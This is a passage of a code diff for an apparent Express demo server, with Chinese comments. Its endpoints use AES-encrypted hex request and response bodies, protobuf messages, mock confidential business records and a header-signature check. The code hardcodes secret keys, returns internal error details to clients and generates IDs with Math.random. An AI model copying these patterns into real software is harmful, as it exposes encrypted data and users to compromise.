'请求体处理失败', details: error.message }); + } + }); +}; + +// 安全数据提交接口 - 处理十六进制加密的请求体 +app.post('/api/secure-submit', handleHexEncryptedBody, (req, res) => { + const data = req.decryptedBody; + + // 验证必填字段 + if (!data.companyName || !data.contactPerson || !data.email) { + return res.status(400).json({ error: '缺少必填字段' }); + } + + // 验证邮箱格式 + const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/; + if (!emailRegex.test(data.email)) { + return res.status(400).json({ error: '邮箱格式不正确' }); + } + + // 验证手机号格式 + const phoneRegex = /^1[3-9]\d{9}$/; + if (!phoneRegex.test(data.contactPhone)) { + return res.status(400).json({ error: '手机号格式不正确' }); + } + + // 验证预算范围 + if (data.budget < 0 || data.budget > 10000000) { + return res.status(400).json({ error: '预算金额超出有效范围' }); + } + + // 模拟数据处理 + const submissionId = Math.random().toString(36).substring(2, 15).toUpperCase(); + + // 构建响应 + const response = { + success: true, + message: '数据提交成功', + submissionId: submissionId, + status: '已接收并处理', + timestamp: new Date().toISOString(), + securityLevel: '最高级别加密', + decryptedData: { + companyName: data.companyName, + contactPerson: data.contactPerson, + budget: data.budget, + urgency: data.urgency, + industry: data.industry + }, + processingInfo: { + hexDataLength: req.originalHexData.length, + encryptedDataLength: req.encryptedData.length, + originalDataSize: JSON.stringify(data).length + } + }; + + res.json(response); +}); + +// 加密响应体并转换为十六进制的函数 +const encryptResponseToHex = (data) => { + const secretKey = 'hex-response-decrypt-2025'; + + // 1. 将数据转换为JSON字符串 + const jsonString = JSON.stringify(data); + + // 2. 使用AES加密 + const encrypted = CryptoJS.AES.encrypt(jsonString, secretKey).toString(); + + // 3. 转换为十六进制 + const hexEncoded = CryptoJS.enc.Utf8.parse(encrypted).toString(CryptoJS.enc.Hex); + + return hexEncoded; +}; + +// 安全查询接口 - 返回十六进制加密的响应体 +app.get('/api/secure-query/:type', (req, res) => { + const queryType = req.params.type; + + // 模拟不同类型的机密数据 + const mockData = { + financial: { + type: 'financial', + reportType: '年度财务报表', + period: '2024年度', + revenue: 15680000, + profit: 3420000, + assets: 45600000, + liabilities: 12300000, + timestamp: new Date().toISOString(), + securityLevel: '机密', + department: '财务部', + approver: '财务总监' + }, + employee: { + type: 'employee', + name: '李明', + employeeId: 'EMP001234', + department: '技术部', + position: '高级工程师', + salary: 25000, + bonus: 50000, + socialSecurity: '已缴纳', + timestamp: new Date().toISOString(), + securityLevel: '机密', + hireDate: '2020-03-15', + performance: 'A级' + }, + customer: { + type: 'customer', + companyName: '科技创新集团有限公司', + customerId: 'CUST789012', + contactPerson: '王总经理', + phone: '13800138000', + email: 'wang@techgroup.com', + annualRevenue: 8900000, + creditRating: 'AAA', + timestamp: new Date().toISOString(), + securityLevel: '机密', + contractValue: 12000000, + paymentStatus: '正常' + }, + project: { + type: 'project', + projectName: '智能数据管理系统', + projectId: 'PROJ456789', + manager: '张项目经理', + budget: 5600000, + spent: 3200000, + progress: 68, + startDate: '2024-01-15', + expectedEnd: '2025-06-30', + timestamp: new Date().toISOString(), + securityLevel: '机密', + team: '技术团队A组', + status: '进行中' + } + }; + + const data = mockData[queryType]; + + if (!data) { + return res.status(404).json({ error: '查询类型不存在' }); + } + + // 加密整个响应并转换为十六进制 + const hexResponse = encryptResponseToHex(data); + + // 设置响应头为纯文本,因为返回的是十六进制字符串 + res.setHeader('Content-Type', 'text/plain'); + res.send(hexResponse); +}); + +// 处理双向十六进制加密通信的中间件 +const handleBidirectionalHexEncryption = (req, res, next) => { + const secretKey = 'bidirectional-hex-2025'; + + // 获取原始请求体(十六进制字符串) + let hexData = ''; + + req.on('data', chunk => { + hexData += chunk.toString(); + }); + + req.on('end', () => { + try { + // 1. 从十六进制转换回加密的字符串 + const encryptedData = CryptoJS.enc.Hex.parse(hexData).toString(CryptoJS.enc.Utf8); + + // 2. 解密数据 + const decryptedBytes = CryptoJS.AES.decrypt(encryptedData, secretKey); + const decryptedString = decryptedBytes.toString(CryptoJS.enc.Utf8); + + if (!decryptedString) { + return res.status(400).json({ error: '请求体解密失败' }); + } + + // 3. 解析JSON + const jsonData = JSON.parse(decryptedString); + + // 将解密后的数据添加到请求对象 + req.decryptedBody = jsonData; + req.originalHexData = hexData; + req.encryptedData = encryptedData; + + // 添加响应加密函数 + req.encryptResponse = (responseData) => { + const jsonString = JSON.stringify(responseData); + const encrypted = CryptoJS.AES.encrypt(jsonString, secretKey).toString(); + const hexEncoded = CryptoJS.enc.Utf8.parse(encrypted).toString(CryptoJS.enc.Hex); + return hexEncoded; + }; + + next(); + } catch (error) { + res.status(400).json({ error: '请求体处理失败', details: error.message }); + } + }); +}; + +// 安全操作接口 - 双向十六进制加密通信 +app.post('/api/secure-operation', handleBidirectionalHexEncryption, (req, res) => { + const data = req.decryptedBody; + + // 验证必填字段 + if (!data.operation || !data.timestamp) { + return res.status(400).json({ error: '缺少必填字段' }); + } + + // 生成操作ID + const operationId = Math.random().toString(36).substring(2, 15).toUpperCase(); + + // 根据操作类型生成不同的响应 + let responseData = { + success: true, + operationId: operationId, + operation: data.operation, + status: '执行成功', + executionTime: new Date().toISOString(), + securityLevel: 'TOP_SECRET', + requestId: data.requestId + }; + + // 根据操作类型添加特定的响应数据 + switch(data.operation) { + case 'transfer': + responseData.details = { + amount: data.amount, + fee: Math.round(data.amount * 0.001), // 0.1% 手续费 + transactionId: 'TXN' + Math.random().toString(36).substring(2, 15).toUpperCase(), + fromAccount: data.fromAccount.replace(/(\d{4})\d{8}(\d{4})/, '$1****$2'), + toAccount: data.toAccount.replace(/(\d{4})\d{8}(\d{4})/, '$1****$2'), + currency: data.currency, + estimatedArrival: '2-24小时' + }; + break; + + case 'contract': + responseData.details = { + contractNumber: 'CON' + Math.random().toString(36).substring(2, 15).toUpperCase(), + signatureStatus: '已签署', + legalStatus: '具有法律效力', + digitalSignature: 'SHA256:' + Math.random().toString(36).substring(2, 15), + contractValue: data.value, + effectiveDate: new Date().toISOString().split('T')[0] + }; + break; + + case 'audit': + responseData.details = { + reportId: 'AUD' + Math.random().toString(36).substring(2, 15).toUpperCase(), + issuesFound: Math.floor(Math.random() * 5) + 1, + riskLevel: ['低', '中', '高'][Math.floor(Math.random() * 3)], + auditScore: Math.floor(Math.random() * 20) + 80, + recommendations: '建议加强密码策略和访问控制', + nextAuditDate: new Date(Date.now() + 90 * 24 * 60 * 60 * 1000).toISOString().split('T')[0] + }; + break; + + case 'backup': + responseData.details = { + backupId: 'BAK' + Math.random().toString(36).substring(2, 15).toUpperCase(), + backupSize: (Math.random() * 100 + 50).toFixed(2) + ' GB', + integrityCheck: '通过', + compressionRatio: (Math.random() * 0.3 + 0.6).toFixed(2), + estimatedRestoreTime: Math.floor(Math.random() * 60 + 30) + '分钟', + storageLocation: data.location === 'cloud' ? '云端存储' : '本地存储' + }; + break; + + default: + responseData.details = { + message: '操作类型未识别,但已安全处理' + }; + } + + // 加密响应并返回十六进制 + const hexResponse = req.encryptResponse(responseData); + + // 设置响应头为纯文本 + res.setHeader('Content-Type', 'text/plain'); + res.send(hexResponse); +}); + +// Protocol Buffers schema +let protobufRoot = null; + +// 初始化protobuf schema +const initProtobufSchema = async () => { + try { + const protoSchema = ` + syntax = "proto3"; + package api; + + message UserInfo { + string name = 1; + string email = 2; + int32 age = 3; + string phone = 4; + string address = 5; + string company = 6; + string position = 7; + int64 salary = 8; + repeated string skills = 9; + map metadata = 10; + } + + message ProductInfo { + string name = 1; + string description = 2; + double price = 3; + string category = 4; + string brand = 5; + int32 stock = 6; + repeated string tags = 7; + map attributes = 8; + } + + message OrderInfo { + string order_id = 1; + string customer_name = 2; + string customer_email = 3; + repeated ProductInfo products = 4; + double total_amount = 5; + string status = 6; + int64 created_at = 7; + string shipping_address = 8; + string payment_method = 9; + } + + message ApiRequest { + string request_id = 1; + int64 timestamp = 2; + string operation = 3; + + oneof data { + UserInfo user_info = 10; + ProductInfo product_info = 11; + OrderInfo order_info = 12; + } + } + + message ApiResponse { + string request_id = 1; + int64 timestamp = 2; + bool success = 3; + string message = 4; + int32 code = 5; + + oneof data { + UserInfo user_info = 10; + ProductInfo product_info = 11; + OrderInfo order_info = 12; + } + } + `; + + protobufRoot = protobuf.parse(protoSchema).root; + console.log('Protocol Buffers schema initialized successfully'); + } catch (error) { + console.error('Failed to initialize protobuf schema:', error); + } +}; + +// 处理protobuf请求体的中间件 +const handleProtobufRequest = (req, res, next) => { + if (!protobufRoot) { + return res.status(500).json({ error: 'Protocol Buffers schema not initialized' }); + } + + // 获取原始请求体(二进制数据) + let bufferData = Buffer.alloc(0); + + req.on('data', chunk => { + bufferData = Buffer.concat([bufferData, chunk]); + }); + + req.on('end', () => { + try { + // 解析protobuf请求 + const ApiRequest = protobufRoot.lookupType('api.ApiRequest'); + const message = ApiRequest.decode(bufferData); + const requestData = ApiRequest.toObject(message); + + // 将解析后的数据添加到请求对象 + req.protobufData = requestData; + req.originalBuffer = bufferData; + + // 添加响应序列化函数 + req.sendProtobufResponse = (responseData) => { + try { + const ApiResponse = protobufRoot.lookupType('api.ApiResponse'); + const responseMessage = ApiResponse.create(responseData); + const responseBuffer = ApiResponse.encode(responseMessage).finish(); + + res.setHeader('Content-Type', 'application/x-protobuf'); + res.send(responseBuffer); + } catch (error) { + res.status(500).json({ error: '响应序列化失败', details: error.message }); + } + }; + + next(); + } catch (error) { + res.status(400).json({ error: 'Protocol Buffers 解析失败', details: error.message }); + } + }); +}; + +// Protocol Buffers API接口 +app.post('/api/protobuf', handleProtobufRequest, (req, res) => { + const data = req.protobufData; + + // 验证必填字段 + if (!data.request_id || !data.operation) { + return res.status(400).json({ error: '缺少必填字段' }); + } + + // 构建响应数据 + let responseData = { + request_id: data.request_id, + timestamp: Math.floor(Date.now() / 1000), + success: true, + message: 'Protocol Buffers 请求处理成功', + code: 200 + }; + + // 根据操作类型处理数据并构建响应 + switch(data.operation) { + case 'user': + if (data.user_info) { + // 模拟用户数据处理 + responseData.user_info = { + ...data.user_info, + // 添加一些服务器端生成的数据 + metadata: { + ...data.user_info.metadata, + 'user_id': 'USR' + Math.random().toString(36).substring(2, 15).toUpperCase(), + 'created_at': new Date().toISOString(), + 'status': 'active' + } + }; + responseData.message = `用户 ${data.user_info.name} 信息处理成功`; + } + break; + + case 'product': + if (data.product_info) { + // 模拟产品数据处理 + responseData.product_info = { + ...data.product_info, + // 添加一些服务器端生成的数据 + attributes: { + ...data.product_info.attributes, + 'product_id': 'PRD' + Math.random().toString(36).substring(2, 15).toUpperCase(), + 'created_at': new Date().toISOString(), + 'status': 'available' + } + }; + responseData.message = `产品 ${data.product_info.name} 信息处理成功`; + } + break; + + case 'order': + if (data.order_info) { + // 模拟订单数据处理 + responseData.order_info = { + ...data.order_info, + // 更新订单状态 + status: 'confirmed', + // 添加确认时间 + created_at: Math.floor(Date.now() / 1000) + }; + responseData.message = `订单 ${data.order_info.order_id} 处理成功`; + } + break; + + default: + responseData.success = false; + responseData.message = '不支持的操作类型'; + responseData.code = 400; + } + + // 发送protobuf响应 + req.sendProtobufResponse(responseData); +}); + +// Protocol Buffers 响应接口 +app.get('/api/protobuf-response', (req, res) => { + if (!protobufRoot) { + return res.status(500).json({ error: 'Protocol Buffers schema not initialized' }); + } + + const category = req.query.category; + const option = req.query.option; + + if (!category || !option) { + return res.status(400).json({ error: '缺少必填参数: category, option' }); + } + + try { + // 定义响应schema + const responseSchema = ` + syntax = "proto3"; + package api; + + message DataPoint { + string label = 1; + double value = 2; + string unit = 3; + int64 timestamp = 4; + } + + message ChartData { + string chart_type = 1; + string title = 2; + repeated DataPoint data_points = 3; + map metadata = 4; + } + + message ReportData { + string report_id = 1; + string title = 2; + string description = 3; + repeated ChartData charts = 4; + map summary_metrics = 5; + int64 generated_at = 6; + } + + message DataResponse { + string request_id = 1; + int64 timestamp = 2; + bool success = 3; + string message = 4; + int32 code = 5; + string category = 6; + string option = 7; + ReportData report_data = 8; + } + `; + + const responseRoot = protobuf.parse(responseSchema).root; + const DataResponse = responseRoot.lookupType('api.DataResponse'); + + // 生成模拟数据 + const mockData = generateMockData(category, option); + + // 创建protobuf响应 + const responseMessage = DataResponse.create(mockData); + const responseBuffer = DataResponse.encode(responseMessage).finish(); + + // 设置响应头并发送二进制数据 + res.setHeader('Content-Type', 'application/x-protobuf'); + res.send(responseBuffer); + + } catch (error) { + res.status(500).json({ error: 'Protocol Buffers 响应生成失败', details: error.message }); + } +}); + +// 生成模拟数据的函数 +function generateMockData(category, option) { + const requestId = Math.random().toString(36).substring(2, 15); + const timestamp = Math.floor(Date.now() / 1000); + + const baseResponse = { + request_id: requestId, + timestamp: timestamp, + success: true, + message: `${category}-${option} 数据获取成功`, + code: 200, + category: category, + option: option + }; + + // 根据类型生成不同的报告数据 + const reportData = { + report_id: 'RPT' + Math.random().toString(36).substring(2, 15).toUpperCase(), + generated_at: timestamp + }; + + switch(category) { + case 'analytics': + reportData.title = getAnalyticsTitle(option); + reportData.description = getAnalyticsDescription(option); + reportData.charts = generateAnalyticsCharts(option); + reportData.summary_metrics = generateAnalyticsMetrics(option); + break; + + case 'reports': + reportData.title = getReportsTitle(option); + reportData.description = getReportsDescription(option); + reportData.charts = generateReportsCharts(option); + reportData.summary_metrics = generateReportsMetrics(option); + break; + + case 'statistics': + reportData.title = getStatisticsTitle(option); + reportData.description = getStatisticsDescription(option); + reportData.charts = generateStatisticsCharts(option); + reportData.summary_metrics = generateStatisticsMetrics(option); + break; + + case 'insights': + reportData.title = getInsightsTitle(option); + reportData.description = getInsightsDescription(option); + reportData.charts = generateInsightsCharts(option); + reportData.summary_metrics = generateInsightsMetrics(option); + break; + + default: + reportData.title = '未知数据类型'; + reportData.description = '无法识别的数据类型'; + reportData.charts = []; + reportData.summary_metrics = {}; + } + + return { + ...baseResponse, + report_data: reportData + }; +} + +// 辅助函数:生成标题 +function getAnalyticsTitle(option) { + const titles = { + sales: '销售数据分析报告', + revenue: '收入分析报告', + customers: '客户分析报告', + products: '产品分析报告' + }; + return titles[option] || '业务分析报告'; +} + +function getReportsTitle(option) { + const titles = { + performance: '系统性能报告', + errors: '错误日志报告', + security: '安全审计报告', + usage: '系统使用情况报告' + }; + return titles[option] || '系统报告'; +} + +function getStatisticsTitle(option) { + const titles = { + traffic: '流量统计报告', + conversion: '转化率统计报告', + engagement: '用户参与度统计', + retention: '用户留存分析报告' + }; + return titles[option] || '统计数据报告'; +} + +function getInsightsTitle(option) { + const titles = { + trends: '趋势预测分析', + recommendations: '智能推荐报告', + anomalies: '异常检测报告', + forecasting: '预测分析报告' + }; + return titles[option] || '深度洞察报告'; +} + +// 辅助函数:生成描述 +function getAnalyticsDescription(option) { + const descriptions = { + sales: '基于最近30天的销售数据,分析销售趋势、热门产品和销售渠道表现', + revenue: '分析各业务线收入贡献,识别增长机会和风险点', + customers: '深入分析客户行为模式、价值分布和生命周期', + products: '评估产品性能、市场接受度和优化建议' + }; + return descriptions[option] || '业务数据深度分析'; +} + +function getReportsDescription(option) { + const descriptions = { + performance: '系统各组件性能指标监控,包括响应时间、吞吐量和资源使用率', + errors: '系统错误日志汇总分析,识别常见问题和解决方案', + security: '安全事件监控和威胁分析,确保系统安全性', + usage: '用户使用行为分析,优化用户体验和系统设计' + }; + return descriptions[option] || '系统运行状况分析'; +} + +function getStatisticsDescription(option) { + const descriptions = { + traffic: '网站流量来源分析,包括访问量、页面浏览量和用户行为路径', + conversion: '转化漏斗分析,识别转化瓶颈和优化机会', + engagement: '用户参与度指标分析,包括停留时间、互动频率等', + retention: '用户留存率分析,了解用户粘性和流失原因' + }; + return descriptions[option] || '数据统计分析'; +} + +function getInsightsDescription(option) { + const descriptions = { + trends: '基于历史数据和机器学习算法预测未来趋势', + recommendations: 'AI驱动的个性化推荐和业务优化建议', + anomalies: '智能异常检测,及时发现数据异常和潜在问题', + forecasting: '预测模型分析,为决策提供数据支持' + }; + return descriptions[option] || 'AI驱动的深度洞察'; +} + +// 生成图表数据的函数 +function generateAnalyticsCharts(option) { + const charts = []; + const now = Date.now(); + + switch(option) { + case 'sales': + charts.push({ + chart_type: 'line', + title: '销售趋势图', + data_points: Array.from({length: 7}, (_, i) => ({ + label: `第${i+1}天`, + value: Math.random() * 10000 + 5000, + unit: '元', + timestamp: Math.floor((now - (6-i) * 24 * 60 * 60 * 1000) / 1000) + })), + metadata: { period: '最近7天', currency: 'CNY' } + }); + break; + case 'revenue': + charts.push({ + chart_type: 'bar', + title: '收入分布图', + data_points: [ + { label: '产品A', value: 45000, unit: '元', timestamp: Math.floor(now / 1000) }, + { label: '产品B', value: 32000, unit: '元', timestamp: Math.floor(now / 1000) }, + { label: '产品C', value: 28000, unit: '元', timestamp: Math.floor(now / 1000) } + ], + metadata: { period: '本月', currency: 'CNY' } + }); + break; + case 'customers': + charts.push({ + chart_type: 'pie', + title: '客户分布图', + data_points: [ + { label: '新客户', value: 35, unit: '%', timestamp: Math.floor(now / 1000) }, + { label: '老客户', value: 45, unit: '%', timestamp: Math.floor(now / 1000) }, + { label: '流失客户', value: 20, unit: '%', timestamp: Math.floor(now / 1000) } + ], + metadata: { total_customers: '1250' } + }); + break; + case 'products': + charts.push({ + chart_type: 'bar', + title: '产品销量排行', + data_points: [ + { label: '智能手机', value: 1250, unit: '台', timestamp: Math.floor(now / 1000) }, + { label: '平板电脑', value: 890, unit: '台', timestamp: Math.floor(now / 1000) }, + { label: '智能手表', value: 650, unit: '台', timestamp: Math.floor(now / 1000) } + ], + metadata: { period: '本月' } + }); + break; + } + + return charts; +} + +function generateReportsCharts(option) { + const charts = []; + const now = Date.now(); + + switch(option) { + case 'performance': + charts.push({ + chart_type: 'line', + title: '系统响应时间', + data_points: Array.from({length: 24}, (_, i) => ({ + label: `${i}:00`, + value: Math.random() * 200 + 100, + unit: 'ms', + timestamp: Math.floor((now - (23-i) * 60 * 60 * 1000) / 1000) + })), + metadata: { period: '最近24小时' } + }); + break; + case 'errors': + charts.push({ + chart_type: 'bar', + title: '错误类型分布', + data_points: [ + { label: '404错误', value: 125, unit: '次', timestamp: Math.floor(now / 1000) }, + { label: '500错误', value: 45, unit: '次', timestamp: Math.floor(now / 1000) }, + { label: '超时错误', value: 32, unit: '次', timestamp: Math.floor(now / 1000) } + ], + metadata: { period: '今日' } + }); + break; + case 'security': + charts.push({ + chart_type: 'line', + title: '安全事件趋势', + data_points: Array.from({length: 7}, (_, i) => ({ + label: `第${i+1}天`, + value: Math.floor(Math.random() * 20), + unit: '次', + timestamp: Math.floor((now - (6-i) * 24 * 60 * 60 * 1000) / 1000) + })), + metadata: { period: '最近7天' } + }); + break; + case 'usage': + charts.push({ + chart_type: 'area', + title: '用户活跃度', + data_points: Array.from({length: 12}, (_, i) => ({ + label: `${i+1}月`, + value: Math.random() * 5000 + 2000, + unit: '人', + timestamp: Math.floor((now - (11-i) * 30 * 24 * 60 * 60 * 1000) / 1000) + })), + metadata: { period: '最近12个月' } + }); + break; + } + + return charts; +} + +function generateStatisticsCharts(option) { + const charts = []; + const now = Date.now(); + + switch(option) { + case 'traffic': + charts.push({ + chart_type: 'line', + title: '网站流量趋势', + data_points: Array.from({length: 30}, (_, i) => ({ + label: `第${i+1}天`, + value: Math.random() * 10000 + 5000, + unit: 'PV', + timestamp: Math.floor((now - (29-i) * 24 * 60 * 60 * 1000) / 1000) + })), + metadata: { period: '最近30天' } + }); + break; + case 'conversion': + charts.push({ + chart_type: 'funnel', + title: '转化漏斗', + data_points: [ + { label: '访问', value: 10000, unit: '人', timestamp: Math.floor(now / 1000) }, + { label: '注册', value: 2500, unit: '人', timestamp: Math.floor(now / 1000) }, + { label: '购买', value: 750, unit: '人', timestamp: Math.floor(now / 1000) } + ], + metadata: { conversion_rate: '7.5%' } + }); + break; + case 'engagement': + charts.push({ + chart_type: 'bar', + title: '用户参与度指标', + data_points: [ + { label: '平均停留时间', value: 4.5, unit: '分钟', timestamp: Math.floor(now / 1000) }, + { label: '页面浏览深度', value: 3.2, unit: '页', timestamp: Math.floor(now / 1000) }, + { label: '互动率', value: 15.8, unit: '%', timestamp: Math.floor(now / 1000) } + ], + metadata: { period: '本周' } + }); + break; + case 'retention': + charts.push({ + chart_type: 'line', + title: '用户留存率', + data_points: [ + { label: '第1天', value: 100, unit: '%', timestamp: Math.floor(now / 1000) }, + { label: '第7天', value: 65, unit: '%', timestamp: Math.floor(now / 1000) }, + { label: '第30天', value: 35, unit: '%', timestamp: Math.floor(now / 1000) }, + { label: '第90天', value: 20, unit: '%', timestamp: Math.floor(now / 1000) } + ], + metadata: { cohort: '新用户群体' } + }); + break; + } + + return charts; +} + +function generateInsightsCharts(option) { + const charts = []; + const now = Date.now(); + + switch(option) { + case 'trends': + charts.push({ + chart_type: 'line', + title: '趋势预测', + data_points: Array.from({length: 12}, (_, i) => ({ + label: `未来第${i+1}月`, + value: Math.random() * 20000 + 10000, + unit: '元', + timestamp: Math.floor((now + i * 30 * 24 * 60 * 60 * 1000) / 1000) + })), + metadata: { confidence: '85%', model: 'ARIMA' } + }); + break; + case 'recommendations': + charts.push({ + chart_type: 'bar', + title: '推荐效果', + data_points: [ + { label: '点击率提升', value: 25.5, unit: '%', timestamp: Math.floor(now / 1000) }, + { label: '转化率提升', value: 18.2, unit: '%', timestamp: Math.floor(now / 1000) }, + { label: '收入提升', value: 32.1, unit: '%', timestamp: Math.floor(now / 1000) } + ], + metadata: { algorithm: 'collaborative_filtering' } + }); + break; + case 'anomalies': + charts.push({ + chart_type: 'scatter', + title: '异常检测结果', + data_points: [ + { label: '正常数据', value: 95.2, unit: '%', timestamp: Math.floor(now / 1000) }, + { label: '轻微异常', value: 3.8, unit: '%', timestamp: Math.floor(now / 1000) }, + { label: '严重异常', value: 1.0, unit: '%', timestamp: Math.floor(now / 1000) } + ], + metadata: { algorithm: 'isolation_forest', threshold: '0.05' } + }); + break; + case 'forecasting': + charts.push({ + chart_type: 'line', + title: '预测分析', + data_points: Array.from({length: 6}, (_, i) => ({ + label: `Q${i+1}`, + value: Math.random() * 50000 + 100000, + unit: '元', + timestamp: Math.floor((now + i * 90 * 24 * 60 * 60 * 1000) / 1000) + })), + metadata: { model: 'prophet', accuracy: '92%' } + }); + break; + } + + return charts; +} + +// 生成汇总指标的函数 +function generateAnalyticsMetrics(option) { + switch(option) { + case 'sales': + return { + '总销售额': 156780, + '订单数量': 1245, + '平均客单价': 125.9, + '同比增长': 15.6 + }; + case 'revenue': + return { + '月收入': 234560, + '毛利率': 45.2, + '净利润': 89340, + '增长率': 12.8 + }; + case 'customers': + return { + '总客户数': 12450, + '新增客户': 890, + '活跃客户': 8760, + '客户满意度': 4.6 + }; + case 'products': + return { + '产品总数': 156, + '热销产品': 23, + '库存周转率': 8.5, + '退货率': 2.1 + }; + default: + return {}; + } +} + +function generateReportsMetrics(option) { + switch(option) { + case 'performance': + return { + '平均响应时间': 145.6, + '系统可用性': 99.8, + 'CPU使用率': 65.2, + '内存使用率': 72.1 + }; + case 'errors': + return { + '总错误数': 234, + '错误率': 0.12, + '已修复': 198, + '待处理': 36 + }; + case 'security': + return { + '安全事件': 12, + '威胁等级': 2.3, + '防护成功率': 98.7, + '漏洞数量': 3 + }; + case 'usage': + return { + '日活用户': 8950, + '月活用户': 45600, + '使用时长': 25.6, + '功能使用率': 78.9 + }; + default: + return {}; + } +} + +function generateStatisticsMetrics(option) { + switch(option) { + case 'traffic': + return { + '总访问量': 156780, + '独立访客': 89450, + '页面浏览量': 345670, + '跳出率': 35.6 + }; + case 'conversion': + return { + '转化率': 7.5, + '注册转化': 25.0, + '购买转化': 30.0, + 'ROI': 3.2 + }; + case 'engagement': + return { + '平均停留': 4.5, + '页面深度': 3.2, + '互动率': 15.8, + '分享率': 8.9 + }; + case 'retention': + return { + '7日留存': 65.0, + '30日留存': 35.0, + '90日留存': 20.0, + '年留存': 12.5 + }; + default: + return {}; + } +} + +function generateInsightsMetrics(option) { + switch(option) { + case 'trends': + return { + '预测准确率': 85.6, + '趋势强度': 7.8, + '置信度': 92.3, + '预测周期': 12 + }; + case 'recommendations': + return { + '推荐精度': 78.9, + '点击提升': 25.5, + '转化提升': 18.2, + '满意度': 4.3 + }; + case 'anomalies': + return { + '检测精度': 95.2, + '误报率': 2.1, + '异常数量': 15, + '处理率': 87.5 + }; + case 'forecasting': + return { + '预测精度': 92.1, + '模型得分': 8.7, + '预测范围': 6, + '更新频率': 7 + }; + default: + return {}; + } +} + +// 双向 Protocol Buffers 通信接口 +app.post('/api/bidirectional-protobuf', (req, res) => { + if (!protobufRoot) { + return res.status(500).json({ error: 'Protocol Buffers schema not initialized' }); + } + + // 获取原始请求体(二进制数据) + let bufferData = Buffer.alloc(0); + + req.on('data', chunk => { + bufferData = Buffer.concat([bufferData, chunk]); + }); + + req.on('end', () => { + try { + // 定义双向protobuf schema + const bidirectionalSchema = ` + syntax = "proto3"; + package microservice; + + message UserRequest { + string action = 1; + string user_id = 2; + string name = 3; + string email = 4; + string role = 5; + string status = 6; + } + + message UserResponse { + bool success = 1; + string message = 2; + string user_id = 3; + string name = 4; + string email = 5; + string role = 6; + string status = 7; + int64 created_at = 8; + int64 updated_at = 9; + } + + message OrderRequest { + string action = 1; + string order_id = 2; + string customer_id = 3; + double amount = 4; + string payment_method = 5; + string status = 6; + } + + message OrderResponse { + bool success = 1; + string message = 2; + string order_id = 3; + string customer_id = 4; + double amount = 5; + string payment_method = 6; + string status = 7; + int64 created_at = 8; + string tracking_number = 9; + } + + message AnalyticsRequest { + string analytics_type = 1; + string time_range = 2; + string data_source = 3; + string output_format = 4; + } + + message AnalyticsResponse { + bool success = 1; + string message = 2; + string report_id = 3; + string analytics_type = 4; + map metrics = 5; + string download_url = 6; + int64 generated_at = 7; + } + + message NotificationRequest { + string notification_type = 1; + string priority = 2; + string recipient = 3; + string template = 4; + string content = 5; + } + + message NotificationResponse { + bool success = 1; + string message = 2; + string notification_id = 3; + string status = 4; + int64 sent_at = 5; + string delivery_status = 6; + } + + message ServiceRequest { + string request_id = 1; + int64 timestamp = 2; + string service_name = 3; + + oneof request_data { + UserRequest user_request = 10; + OrderRequest order_request = 11; + AnalyticsRequest analytics_request = 12; + NotificationRequest notification_request = 13; + } + } + + message ServiceResponse { + string request_id = 1; + int64 timestamp = 2; + bool success = 3; + string service_name = 4; + int32 status_code = 5; + + oneof response_data { + UserResponse user_response = 10; + OrderResponse order_response = 11; + AnalyticsResponse analytics_response = 12; + NotificationResponse notification_response = 13; + } + } + `; + + const bidirectionalRoot = protobuf.parse(bidirectionalSchema).root; + + // 解析protobuf请求 + const ServiceRequest = bidirectionalRoot.lookupType('microservice.ServiceRequest'); + const requestMessage = ServiceRequest.decode(bufferData); + const requestData = ServiceRequest.toObject(requestMessage); + + // 构建响应数据 + const responseData = { + request_id: requestData.request_id, + timestamp: Math.floor(Date.now() / 1000), + success: true, + service_name: requestData.service_name, + status_code: 200 + }; + + // 根据服务类型处理请求并构建响应 + switch(requestData.service_name) { + case 'user-management': + if (requestData.user_request) { + const userReq = requestData.user_request; + responseData.user_response = { + success: true, + message: `用户${userReq.action}操作成功`, + user_id: userReq.user_id, + name: userReq.name, + email: userReq.email, + role: userReq.role, + status: userReq.status, + created_at: Math.floor(Date.now() / 1000), + updated_at: Math.floor(Date.now() / 1000) + }; + } + break; + + case 'order-processing': + if (requestData.order_request) { + const orderReq = requestData.order_request; + responseData.order_response = { + success: true, + message: `订单${orderReq.action}操作成功`, + order_id: orderReq.order_id, + customer_id: orderReq.customer_id, + amount: orderReq.amount, + payment_method: orderReq.payment_method, + status: orderReq.status === 'pending' ? 'processing' : orderReq.status, + created_at: Math.floor(Date.now() / 1000), + tracking_number: 'TRK' + Math.random().toString(36).substring(2, 15).toUpperCase() + }; + } + break; + + case 'data-analytics': + if (requestData.analytics_request) { + const analyticsReq = requestData.analytics_request; + responseData.analytics_response = { + success: true, + message: `${analyticsReq.analytics_type}分析完成`, + report_id: 'RPT' + Math.random().toString(36).substring(2, 15).toUpperCase(), + analytics_type: analyticsReq.analytics_type, + metrics: { + '总数据量': Math.floor(Math.random() * 100000) + 50000, + '处理时间': Math.floor(Math.random() * 60) + 30, + '准确率': Math.floor(Math.random() * 20) + 80, + '覆盖率': Math.floor(Math.random() * 30) + 70 + }, + download_url: `https://reports.example.com/download/${Math.random().toString(36).substring(2, 15)}`, + generated_at: Math.floor(Date.now() / 1000) + }; + } + break; + + case 'notification': + if (requestData.notification_request) { + const notificationReq = requestData.notification_request; + responseData.notification_response = { + success: true, + message: `${notificationReq.notification_type}通知发送成功`, + notification_id: 'NOT' + Math.random().toString(36).substring(2, 15).toUpperCase(), + status: 'sent', + sent_at: Math.floor(Date.now() / 1000), + delivery_status: 'delivered' + }; + } + break; + + default: + responseData.success = false; + responseData.status_code = 400; + } + + // 序列化响应为protobuf + const ServiceResponse = bidirectionalRoot.lookupType('microservice.ServiceResponse'); + const responseMessage = ServiceResponse.create(responseData); + const responseBuffer = ServiceResponse.encode(responseMessage).finish(); + + // 设置响应头并发送二进制数据 + res.setHeader('Content-Type', 'application/x-protobuf'); + res.send(responseBuffer); + + } catch (error) { + res.status(400).json({ error: '双向 Protocol Buffers 通信失败', details: error.message }); + } + }); +}); + +// 请求头签名验证接口 +app.post('/api/header-sign', (req, res) => { + try { + // 获取请求头中的签名信息 + const xSign = req.headers['x-sign']; + const xTimestamp = req.headers['x-timestamp']; + const xNonce = req.headers['x-nonce']; + const xClientId = req.headers['x-client-id']; + + if (!xSign || !xTimestamp || !xNonce || !xClientId) { + return res.status(400).json({ + error: '缺少必要的签名请求头', + required_headers: ['X-Sign', 'X-Timestamp', 'X-Nonce', 'X-Client-Id'] + }); + } + + // 检查时间戳(防止重放攻击) + const currentTime = Math.floor(Date.now() / 1000); + const 